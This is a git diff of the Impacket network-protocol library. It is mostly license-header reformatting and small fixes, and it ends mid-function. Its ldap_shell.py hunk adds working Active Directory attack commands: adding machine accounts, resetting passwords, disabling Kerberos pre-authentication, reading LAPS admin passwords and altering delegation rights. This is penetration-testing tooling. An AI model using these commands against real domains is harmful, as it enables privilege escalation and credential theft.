LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-TSCH] SASec Interface implementation # @@ -14,9 +14,12 @@ # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. -# They are located at the end of this file. +# They are located at the end of this file. # Helper functions start with "h". -# There are test cases for them too. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # from impacket.dcerpc.v5.ndr import NDRCALL, NDRUniConformantArray from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL diff --git a/impacket/dcerpc/v5/scmr.py b/impacket/dcerpc/v5/scmr.py index 697cfaa973..5c9789833e 100644 --- a/impacket/dcerpc/v5/scmr.py +++ b/impacket/dcerpc/v5/scmr.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2019 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-SCMR] Interface implementation # @@ -14,9 +14,12 @@ # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. -# They are located at the end of this file. +# They are located at the end of this file. # Helper functions start with "h". -# There are test cases for them too. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # from impacket import system_errors diff --git a/impacket/dcerpc/v5/srvs.py b/impacket/dcerpc/v5/srvs.py index 30f7327ae4..3e1d0b38b9 100644 --- a/impacket/dcerpc/v5/srvs.py +++ b/impacket/dcerpc/v5/srvs.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-SRVS] Interface implementation # @@ -14,9 +14,12 @@ # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. -# They are located at the end of this file. +# They are located at the end of this file. # Helper functions start with "h". -# There are test cases for them too. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function diff --git a/impacket/dcerpc/v5/transport.py b/impacket/dcerpc/v5/transport.py index 36c11c134d..32f65d86e7 100644 --- a/impacket/dcerpc/v5/transport.py +++ b/impacket/dcerpc/v5/transport.py @@ -1,14 +1,17 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # Transport implementations for the DCE/RPC protocol. # +# Author: +# Alberto Solino (@agsolino) +# from __future__ import division from __future__ import print_function @@ -27,11 +30,12 @@ from impacket.dcerpc.v5.rpch import RPCProxyClient, RPCProxyClientException, RPC_OVER_HTTP_v1, RPC_OVER_HTTP_v2 from impacket.smbconnection import SMBConnection + class DCERPCStringBinding: - parser = re.compile(r'(?:([a-fA-F0-9-]{8}(?:-[a-fA-F0-9-]{4}){3}-[a-fA-F0-9-]{12})@)?' # UUID (opt.) - +'([_a-zA-Z0-9]*):' # Protocol Sequence - +'([^\[]*)' # Network Address (opt.) - +'(?:\[([^\]]*)\])?') # Endpoint and options (opt.) + parser = re.compile(r"(?:([a-fA-F0-9-]{8}(?:-[a-fA-F0-9-]{4}){3}-[a-fA-F0-9-]{12})@)?" + # UUID (opt.) + r"([_a-zA-Z0-9]*):" + # Protocol Sequence + r"([^\[]*)" + # Network Address (opt.) + r"(?:\[([^]]*)])?") # Endpoint and options (opt.) def __init__(self, stringbinding): match = DCERPCStringBinding.parser.match(stringbinding) @@ -87,6 +91,7 @@ def unset_option(self, option_name): def __str__(self): return DCERPCStringBindingCompose(self.__uuid, self.__ps, self.__na, self.__endpoint, self.__options) + def DCERPCStringBindingCompose(uuid=None, protocol_sequence='', network_address='', endpoint='', options={}): s = '' if uuid: @@ -102,6 +107,7 @@ def DCERPCStringBindingCompose(uuid=None, protocol_sequence='', network_address= return s + def DCERPCTransportFactory(stringbinding): sb = DCERPCStringBinding(stringbinding) @@ -486,6 +492,7 @@ def __init__(self, remoteName, dstport=445, filename='', username='', password=' self.__prefDialect = None self.__smb_connection = smb_connection + self.set_connect_timeout(30) def preferred_dialect(self, dialect): self.__prefDialect = dialect @@ -493,7 +500,7 @@ def preferred_dialect(self, dialect): def setup_smb_connection(self): if not self.__smb_connection: self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(), - preferredDialect=self.__prefDialect) + preferredDialect=self.__prefDialect, timeout=self.get_connect_timeout()) if self._strict_hostname_validation: self.__smb_connection.setHostnameValidation(self._strict_hostname_validation, self._validation_allow_absent, self._accepted_hostname) diff --git a/impacket/dcerpc/v5/tsch.py b/impacket/dcerpc/v5/tsch.py index c916c96d9a..27d890d1da 100644 --- a/impacket/dcerpc/v5/tsch.py +++ b/impacket/dcerpc/v5/tsch.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-TSCH] ITaskSchedulerService Interface implementation # @@ -14,9 +14,12 @@ # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. -# They are located at the end of this file. +# They are located at the end of this file. # Helper functions start with "h". -# There are test cases for them too. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL, GUID, PSYSTEMTIME, SYSTEMTIME diff --git a/impacket/dcerpc/v5/wkst.py b/impacket/dcerpc/v5/wkst.py index bbf1837cf9..70522c58da 100644 --- a/impacket/dcerpc/v5/wkst.py +++ b/impacket/dcerpc/v5/wkst.py @@ -1,11 +1,11 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) -# # Description: # [MS-WKST] Interface implementation # @@ -14,9 +14,12 @@ # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. -# They are located at the end of this file. +# They are located at the end of this file. # Helper functions start with "h". -# There are test cases for them too. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) # from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRUniConformantArray, NDRUniFixedArray, \ NDRPOINTER diff --git a/impacket/dhcp.py b/impacket/dhcp.py index 826cf7ac16..5cfb620842 100644 --- a/impacket/dhcp.py +++ b/impacket/dhcp.py @@ -1,6 +1,8 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2019 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # diff --git a/impacket/dns.py b/impacket/dns.py index 557e45fe19..83049ecffe 100644 --- a/impacket/dns.py +++ b/impacket/dns.py @@ -1,31 +1,33 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: -# Andres Blanco -# Gustavo Moreira - +# Description: +# RFCs for the DNS Server service # -# RFCs for the DNS Server service +# - 1034 - Domain Names -- Concepts and Facilities [https://www.ietf.org/rfc/rfc1034.txt] +# - 1035 - Domain Names -- Implementation and Specification [https://www.ietf.org/rfc/rfc1035.txt] +# - 1123 - Requirements for Internet Hosts -- Application and Support [https://www.ietf.org/rfc/rfc1123.txt] +# - 1886 - DNS Extensions to Support IP Version 6 [https://www.ietf.org/rfc/rfc1886.txt] +# - 1995 - Incremental Zone Transfer in DNS [https://www.ietf.org/rfc/rfc1995.txt] +# - 1996 - A Mechanism for Prompt Notification of Zone Changes (DNS NOTIFY) [https://www.ietf.org/rfc/rfc1996.txt] +# - 2136 - Dynamic Updates in the Domain Name System (DNS UPDATE) [https://www.ietf.org/rfc/rfc2136.txt] +# - 2181 - Clarifications to the DNS Specification [https://www.ietf.org/rfc/rfc2181.txt] +# - 2308 - Negative Caching of DNS Queries (DNS NCACHE) [https://www.ietf.org/rfc/rfc2308.txt] +# - 2535 - Domain Name System Security Extensions (DNSSEC) [https://www.ietf.org/rfc/rfc2535.txt] +# - 2671 - Extension Mechanisms for DNS (EDNS0) [https://www.ietf.org/rfc/rfc2671.txt] +# - 2782 - A DNS RR for specifying the location of services (DNS SRV) [https://www.ietf.org/rfc/rfc2782.txt] +# - 2930 - Secret Key Establishment for DNS (TKEY RR) [https://www.ietf.org/rfc/rfc2930.txt] +# - 3645 - Generic Security Service Algorithm for Secret Key Transaction Authentication for DNS (GSS-TSIG) [https://www.ietf.org/rfc/rfc3645.txt] +# - 3646 - DNS Configuration options for Dynamic Host Configuration Protocol for IPv6 (DHCPv6) [https://www.ietf.org/rfc/rfc3646.txt] # -# 1034 - Domain Names -- Concepts and Facilities [https://www.ietf.org/rfc/rfc1034.txt] -# 1035 - Domain Names -- Implementation and Specification [https://www.ietf.org/rfc/rfc1035.txt] -# 1123 - Requirements for Internet Hosts -- Application and Support [https://www.ietf.org/rfc/rfc1123.txt] -# 1886 - DNS Extensions to Support IP Version 6 [https://www.ietf.org/rfc/rfc1886.txt] -# 1995 - Incremental Zone Transfer in DNS [https://www.ietf.org/rfc/rfc1995.txt] -# 1996 - A Mechanism for Prompt Notification of Zone Changes (DNS NOTIFY) [https://www.ietf.org/rfc/rfc1996.txt] -# 2136 - Dynamic Updates in the Domain Name System (DNS UPDATE) [https://www.ietf.org/rfc/rfc2136.txt] -# 2181 - Clarifications to the DNS Specification [https://www.ietf.org/rfc/rfc2181.txt] -# 2308 - Negative Caching of DNS Queries (DNS NCACHE) [https://www.ietf.org/rfc/rfc2308.txt] -# 2535 - Domain Name System Security Extensions (DNSSEC) [https://www.ietf.org/rfc/rfc2535.txt] -# 2671 - Extension Mechanisms for DNS (EDNS0) [https://www.ietf.org/rfc/rfc2671.txt] -# 2782 - A DNS RR for specifying the location of services (DNS SRV) [https://www.ietf.org/rfc/rfc2782.txt] -# 2930 - Secret Key Establishment for DNS (TKEY RR) [https://www.ietf.org/rfc/rfc2930.txt] -# 3645 - Generic Security Service Algorithm for Secret Key Transaction Authentication for DNS (GSS-TSIG) [https://www.ietf.org/rfc/rfc3645.txt] -# 3646 - DNS Configuration options for Dynamic Host Configuration Protocol for IPv6 (DHCPv6) [https://www.ietf.org/rfc/rfc3646.txt] +# Author: +# Andres Blanco +# Gustavo Moreira # import socket @@ -36,7 +38,7 @@ class DNSFlags(): 'Bitmap with the flags of a dns packet.' - # QR - Query/Response - 1 bit + # QR - Query/Response - 1 bit QR_QUERY = int("0000000000000000", 2) QR_RESPONSE = int("1000000000000000", 2) # OP - Opcode - 4 bits diff --git a/impacket/dot11.py b/impacket/dot11.py index e1ab757d50..e5c276f479 100644 --- a/impacket/dot11.py +++ b/impacket/dot11.py @@ -1,19 +1,22 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: -# IEEE 802.11 Network packet codecs. +# IEEE 802.11 Network packet codecs. # # Author: -# Gustavo Moreira +# Gustavo Moreira +# import struct from binascii import crc32 -from impacket.ImpactPacket import ProtocolPacket +from impacket.ImpactPacket import ProtocolPacket, array_tobytes from impacket.Dot11Crypto import RC4 frequency = { 2412: 1, 2417: 2, 2422: 3, 2427: 4, 2432: 5, 2437: 6, 2442: 7, 2447: 8, 2452: 9, @@ -997,9 +1000,9 @@ def __init__(self, aBuffer = None): def get_OUI(self): "Get the three-octet Organizationally Unique Identifier (OUI) SNAP frame" - b=self.header.get_bytes()[0:3].tostring() + b = array_tobytes(self.header.get_bytes()[0:3]) #unpack requires a string argument of length 4 and b is 3 bytes long - (oui,)=struct.unpack('!L', b'\x00'+b) + (oui,) = struct.unpack('!L', b'\x00'+b) return oui def set_OUI(self, value): @@ -1040,9 +1043,9 @@ def is_WEP(self): def get_iv(self): 'Return the \'WEP IV\' field' - b=self.header.get_bytes()[0:3].tostring() + b = array_tobytes(self.header.get_bytes()[0:3]) #unpack requires a string argument of length 4 and b is 3 bytes long - (iv,)=struct.unpack('!L', b'\x00'+b) + (iv,) = struct.unpack('!L', b'\x00'+b) return iv def set_iv(self, value): diff --git a/impacket/dpapi.py b/impacket/dpapi.py index bdc6d88d1e..adca43efb9 100644 --- a/impacket/dpapi.py +++ b/impacket/dpapi.py @@ -1,23 +1,27 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: -# Alberto Solino (@agsolino) -# # Description: -# DPAPI and Windows Vault parsing structures and manipulation +# DPAPI and Windows Vault parsing structures and manipulation # -# References: All of the work done by these guys. I just adapted their work to my needs. -# https://www.passcape.com/index.php?section=docsys&cmd=details&id=28 -# https://github.com/jordanbtucker/dpapick -# https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did ) -# http://blog.digital-forensics.it/2016/01/windows-revaulting.html -# https://www.passcape.com/windows_password_recovery_vault_explorer -# https://www.passcape.com/windows_password_recovery_dpapi_master_key +# Author: +# Alberto Solino (@agsolino) +# +# References: +# All of the work done by these guys. I just adapted their work to my needs. +# - https://www.passcape.com/index.php?section=docsys&cmd=details&id=28 +# - https://github.com/jordanbtucker/dpapick +# - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did) +# - http://blog.digital-forensics.it/2016/01/windows-revaulting.html +# - https://www.passcape.com/windows_password_recovery_vault_explorer +# - https://www.passcape.com/windows_password_recovery_dpapi_master_key # + from __future__ import division from __future__ import print_function import sys @@ -920,7 +924,7 @@ def dump(self): print("LastWritten : %s" % (datetime.utcfromtimestamp(getUnixTime(self['LastWritten'])))) print("Flags : 0x%.8x (%s)" % (self['Flags'], getFlags(CREDENTIAL_FLAGS, self['Flags']))) print("Persist : 0x%.8x (%s)" % (self['Persist'], CREDENTIAL_PERSIST(self['Persist']).name)) - print("Type : 0x%.8x (%s)" % (self['Type'], CREDENTIAL_PERSIST(self['Type']).name)) + print("Type : 0x%.8x (%s)" % (self['Type'], CREDENTIAL_TYPE(self['Type']).name)) print("Target : %s" % (self['Target'].decode('utf-16le'))) print("Description : %s" % (self['Description'].decode('utf-16le'))) print("Unknown : %s" % (self['Unknown'].decode('utf-16le'))) diff --git a/impacket/eap.py b/impacket/eap.py index de6409c957..e9e3e68e66 100644 --- a/impacket/eap.py +++ b/impacket/eap.py @@ -1,15 +1,17 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: -# EAP packets +# EAP packets # # Author: -# Aureliano Calvo - +# Aureliano Calvo +# from impacket.helper import ProtocolPacket, Byte, Word, Long, ThreeBytesBigEndian diff --git a/impacket/ese.py b/impacket/ese.py index bd9471bced..bd498d79fd 100644 --- a/impacket/ese.py +++ b/impacket/ese.py @@ -1,25 +1,29 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: -# Microsoft Extensive Storage Engine parser, just focused on trying -# to parse NTDS.dit files (not meant as a full parser, although it might work) +# Microsoft Extensive Storage Engine parser, just focused on trying +# to parse NTDS.dit files (not meant as a full parser, although it might work) # # Author: -# Alberto Solino (@agsolino) +# Alberto Solino (@agsolino) # # Reference for: -# Structure. +# Structure # -# Excellent reference done by Joachim Metz -# http://forensic-proof.com/wp-content/uploads/2011/07/Extensible-Storage-Engine-ESE-Database-File-EDB-format.pdf +# Excellent reference done by Joachim Metz +# - http://forensic-proof.com/wp-content/uploads/2011/07/Extensible-Storage-Engine-ESE-Database-File-EDB-format.pdf # # ToDo: -# [ ] Parse multi-values properly -# [ ] Support long values properly +# [ ] Parse multi-values properly +# [ ] Support long values properly +# + from __future__ import division from __future__ import print_function from impacket import LOG @@ -790,7 +794,7 @@ def __getNextTag(self, cursor): return None - def getNextRow(self, cursor): + def getNextRow(self, cursor, filter_tables = None): cursor['CurrentTag'] += 1 tag = self.__getNextTag(cursor) @@ -805,11 +809,11 @@ def getNextRow(self, cursor): else: cursor['CurrentPageData'] = self.getPage(page.record['NextPageNumber']) cursor['CurrentTag'] = 0 - return self.getNextRow(cursor) + return self.getNextRow(cursor, filter_tables = filter_tables) else: - return self.__tagToRecord(cursor, tag['EntryData']) + return self.__tagToRecord(cursor, tag['EntryData'], filter_tables = filter_tables) - def __tagToRecord(self, cursor, tag): + def __tagToRecord(self, cursor, tag, filter_tables = None): # So my brain doesn't forget, the data record is composed of: # Header # Fixed Size Data (ID < 127) @@ -849,6 +853,9 @@ def __tagToRecord(self, cursor, tag): columns = cursor['TableData']['Columns'] for column in list(columns.keys()): + if filter_tables is not None: + if column not in filter_tables: + continue columnRecord = columns[column]['Record'] #columnRecord.dump() if columnRecord['Identifier'] <= dataDefinitionHeader['LastFixedSize']: diff --git a/impacket/examples/__init__.py b/impacket/examples/__init__.py index 2ae28399f5..b2b0c68da4 100644 --- a/impacket/examples/__init__.py +++ b/impacket/examples/__init__.py @@ -1 +1,9 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# pass diff --git a/impacket/examples/ldap_shell.py b/impacket/examples/ldap_shell.py index 65ce4cdf2e..ccc70a85f9 100755 --- a/impacket/examples/ldap_shell.py +++ b/impacket/examples/ldap_shell.py @@ -1,15 +1,18 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Description: Mini shell using some of the LDAP functionalities of the library +# Description: +# Mini shell using some of the LDAP functionalities of the library # # Author: -# Mathieu Gascon-Lefebvre (@mlefebvre) -# +# Mathieu Gascon-Lefebvre (@mlefebvre) # +import re import string import sys import cmd @@ -65,6 +68,24 @@ def onecmd(self, s): return ret_val + def create_empty_sd(self): + sd = ldaptypes.SR_SECURITY_DESCRIPTOR() + sd['Revision'] = b'\x01' + sd['Sbz1'] = b'\x00' + sd['Control'] = 32772 + sd['OwnerSid'] = ldaptypes.LDAP_SID() + # BUILTIN\Administrators + sd['OwnerSid'].fromCanonical('S-1-5-32-544') + sd['GroupSid'] = b'' + sd['Sacl'] = b'' + acl = ldaptypes.ACL() + acl['AclRevision'] = 4 + acl['Sbz1'] = 0 + acl['Sbz2'] = 0 + acl.aces = [] + sd['Dacl'] = acl + return sd + def create_allow_ace(self, sid): nace = ldaptypes.ACE() nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE @@ -77,7 +98,7 @@ def create_allow_ace(self, sid): nace['Ace'] = acedata return nace - def do_write_gpo_dacl(self,line): + def do_write_gpo_dacl(self, line): args = shlex.split(line) print ("Adding %s to GPO with GUID %s" % (args[0], args[1])) if len(args) != 2: @@ -110,6 +131,61 @@ def do_write_gpo_dacl(self,line): else: raise Exception("Something wasnt right: %s" %str(self.client.result['description'])) + def do_add_computer(self, line): + args = shlex.split(line) + + if not self.client.server.ssl: + print("Error adding a new computer with LDAP requires LDAPS.") + + if len(args) != 1 and len(args) != 2: + raise Exception("Error expected a computer name and an optional password argument.") + + computer_name = args[0] + if not computer_name.endswith('$'): + computer_name += '$' + + print("Attempting to add a new computer with the name: %s" % computer_name) + + password = "" + if len(args) == 1: + password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) + else: + password = args[1] + + domain_dn = self.domain_dumper.root + domain = re.sub(',DC=', '.', domain_dn[domain_dn.find('DC='):], flags=re.I)[3:] + + print("Inferred Domain DN: %s" % domain_dn) + print("Inferred Domain Name: %s" % domain) + + computer_hostname = computer_name[:-1] # Remove $ sign + computer_dn = "CN=%s,CN=Computers,%s" % (computer_hostname, self.domain_dumper.root) + print("New Computer DN: %s" % computer_dn) + + spns = [ + 'HOST/%s' % computer_hostname, + 'HOST/%s.%s' % (computer_hostname, domain), + 'RestrictedKrbHost/%s' % computer_hostname, + 'RestrictedKrbHost/%s.%s' % (computer_hostname, domain), + ] + ucd = { + 'dnsHostName': '%s.%s' % (computer_hostname, domain), + 'userAccountControl': 4096, + 'servicePrincipalName': spns, + 'sAMAccountName': computer_name, + 'unicodePwd': '"{}"'.format(password).encode('utf-16-le') + } + + res = self.client.add(computer_dn, ['top','person','organizationalPerson','user','computer'], ucd) + + if not res: + if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM: + print("Failed to add a new computer. The server denied the operation.") + else: + print('Failed to add a new computer: %s' % str(self.client.result)) + else: + print('Adding new computer with username: %s and password: %s result: OK' % (computer_name, password)) + def do_add_user(self, line): args = shlex.split(line) if len(args) == 0: @@ -168,12 +244,103 @@ def do_add_user_to_group(self, line): else: raise Exception('Failed to add user to %s group: %s' % (group_name, str(self.client.result['description']))) + def do_change_password(self, line): + args = shlex.split(line) + + if len(args) != 1 and len(args) != 2: + raise Exception("Error expected a username and an optional password argument. Instead %d arguments were provided" % len(args)) + + user_dn = self.get_dn(args[0]) + print("Got User DN: " + user_dn) + + password = "" + if len(args) == 1: + password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) + else: + password = args[1] + + print("Attempting to set new password of: %s" % password) + success = self.client.extend.microsoft.modify_password(user_dn, password) + + if self.client.result['result'] == 0: + print('Password changed successfully!') + else: + if self.client.result['result'] == 50: + raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) + elif self.client.result['result'] == 19: + raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) + else: + raise Exception('The server returned an error: %s', self.client.result['message']) + + def do_clear_rbcd(self, computer_name): + + success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) + if success is False or len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + target = self.client.entries[0] + target_sid = target["objectsid"].value + print("Found Target DN: %s" % target.entry_dn) + print("Target SID: %s\n" % target_sid) + + sd = self.create_empty_sd() + + self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) + if self.client.result['result'] == 0: + print('Delegation rights cleared successfully!') + else: + if self.client.result['result'] == 50: + raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) + elif self.client.result['result'] == 19: + raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) + else: + raise Exception('The server returned an error: %s', self.client.result['message']) + def do_dump(self, line): print('Dumping domain info...') self.stdout.flush() self.domain_dumper.domainDump() print('Domain info dumped into lootdir!') + def do_disable_account(self, username): + self.toggle_account_enable_disable(username, False) + + def do_enable_account(self, username): + self.toggle_account_enable_disable(username, True) + + def toggle_account_enable_disable(self, user_name, enable): + UF_ACCOUNT_DISABLE = 2 + self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl']) + + if len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + user_dn = self.client.entries[0].entry_dn + if not user_dn: + raise Exception("User not found in LDAP: %s" % user_name) + + entry = self.client.entries[0] + userAccountControl = entry["userAccountControl"].value + + print("Original userAccountControl: %d" % userAccountControl) + + if enable: + userAccountControl = userAccountControl & ~UF_ACCOUNT_DISABLE + else: + userAccountControl = userAccountControl | UF_ACCOUNT_DISABLE + + self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])}) + + if self.client.result['result'] == 0: + print("Updated userAccountControl attribute successfully") + else: + if self.client.result['result'] == 50: + raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) + elif self.client.result['result'] == 19: + raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) + else: + raise Exception('The server returned an error: %s', self.client.result['message']) + def do_search(self, line): arguments = shlex.split(line) if len(arguments) == 0: @@ -188,6 +355,54 @@ def do_search(self, line): search_query = "".join("(%s=*%s*)" % (attribute, escape_filter_chars(arguments[0])) for attribute in filter_attributes) self.search('(|%s)' % search_query, *attributes) + def do_set_dontreqpreauth(self, line): + UF_DONT_REQUIRE_PREAUTH = 4194304 + + args = shlex.split(line) + if len(args) != 2: + raise Exception("Username (SAMAccountName) and true/false flag required (e.g. jsmith true).") + + user_name = args[0] + flag_str = args[1] + flag = False + + if flag_str.lower() == "true": + flag = True + elif flag_str.lower() == "false": + flag = False + else: + raise Exception("The specified flag must be either true or false") + + self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl']) + if len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + user_dn = self.client.entries[0].entry_dn + if not user_dn: + raise Exception("User not found in LDAP: %s" % user_name) + + entry = self.client.entries[0] + userAccountControl = entry["userAccountControl"].value + print("Original userAccountControl: %d" % userAccountControl) + + if flag: + userAccountControl = userAccountControl | UF_DONT_REQUIRE_PREAUTH + else: + userAccountControl = userAccountControl & ~UF_DONT_REQUIRE_PREAUTH + + print("Updated userAccountControl: %d" % userAccountControl) + self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])}) + + if self.client.result['result'] == 0: + print("Updated userAccountControl attribute successfully") + else: + if self.client.result['result'] == 50: + raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) + elif self.client.result['result'] == 19: + raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) + else: + raise Exception('The server returned an error: %s', self.client.result['message']) + def do_get_user_groups(self, user_name): user_dn = self.get_dn(user_name) if not user_dn: @@ -202,6 +417,127 @@ def do_get_group_users(self, group_name): self.search('(memberof:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(group_dn)), "sAMAccountName", "name") + def do_get_laps_password(self, computer_name): + + self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['ms-MCS-AdmPwd']) + if len(self.client.entries) != 1: + raise Exception("Error expected only one search result got %d results", len(self.client.entries)) + + computer = self.client.entries[0] + print("Found Computer DN: %s" % computer.entry_dn) + + password = computer["ms-MCS-AdmPwd"].value + + if password is not None: + print("LAPS Password: %s" % password) + else: + print("Unable to Read LAPS Password for Computer") + + def do_grant_control(self, line): + args = shlex.split(line) + + if len(args) != 1 and len(args) != 2: + raise Exception("Error expecting target and grantee names for 